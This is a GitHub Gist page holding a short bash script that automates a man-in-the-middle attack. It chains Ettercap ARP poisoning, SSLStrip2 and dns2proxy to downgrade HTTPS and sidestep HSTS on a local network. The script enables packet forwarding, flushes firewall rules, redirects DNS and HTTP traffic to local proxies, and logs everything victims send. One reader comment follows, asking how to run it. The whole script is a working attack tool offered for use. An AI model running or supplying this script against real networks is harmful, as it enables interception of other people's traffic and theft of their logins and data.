Last active
January 30, 2021 22:26
-
-
Save xaitax/03601c36be8e22207b94 to your computer and use it in GitHub Desktop.
MitM combined with SSLStrip2 defeating HSTS
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
# | |
# @desc: MitM (Ettercap) & SSLStrip2 & dns2proxy | |
# | |
# Tool runs if sslstrip2 & dns2proxy have subfolders from | |
# where the script is run | |
# | |
# @required: | |
# | |
# - SSLStrip2 (https://github.com/LeonardoNve/sslstrip2) | |
# - DNS2Proxy (https://github.com/LeonardoNve/dns2proxy) | |
# - Ettercap-NG (http://ettercap.sourceforge.net/) | |
# | |
# @name: | |
# | |
# mitmsslstrip2.sh | |
# | |
# @author: | |
# | |
# Alexander 'xaitax' Hagenah <[email protected]> | |
# http://primepage.de | |
# | |
# @created: | |
# | |
# 09/12/2014 | |
if [[ "$1" == "k" ]]; then | |
echo "Killing processes..." | |
ps -ef | grep tcpdump | awk '{print $2}' | xargs kill | |
ps -ef | grep sslstrip | awk '{print $2}' | xargs kill | |
ps -ef | grep dns2proxy | awk '{print $2}' | xargs kill | |
ps -ef | grep ettercap | awk '{print $2}' | xargs kill | |
exit | |
fi | |
printf "Define the interface (e.g. eth0): " && read INTERFACE | |
printf "Define the IP of the Gateway (leave empty for whole network): " && read GATEWAY | |
printf "Define the IP of the Target (leave empty for whole network): " && read TARGET | |
# Variable for date/time | |
now=$(date +%Y%m%d_%H%M%S) | |
# Enable Linux Kernel Packet forwarding | |
echo 1 > /proc/sys/net/ipv4/ip_forward | |
# Flush existing iptables | |
iptables -F | |
iptables -F -t nat | |
# Traffic redirection for dns2proxy & sslstrip2 | |
iptables --table nat --append PREROUTING -p udp --destination-port 53 -j REDIRECT --to-port 53 | |
iptables --table nat --append PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 9000 | |
# Start MitM with Ettercap | |
ettercap -T -i $INTERFACE -w log/network.pcap -L ettercap -M arp /$GATEWAY/ /$TARGET/ -P autoadd -Q & | |
# Start local network capture with tcpdump | |
tcpdump -i $INTERFACE -w log/network_$now.pcap & PID_TCPDUMP=$! | |
# Start sslstrip | |
./sslstrip2/sslstrip.py -p -w log/sslstrip_$now.log -k -l 9000 & PID_SSLSTRIP=$! | |
# Start dns2proxy | |
cd ./dns2proxy/ && python ./dns2proxy.py & PID_DNS2PROXY=$! |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Hii!
How I have run this? I was using etterfilter but this giveme a syntax error in the line 27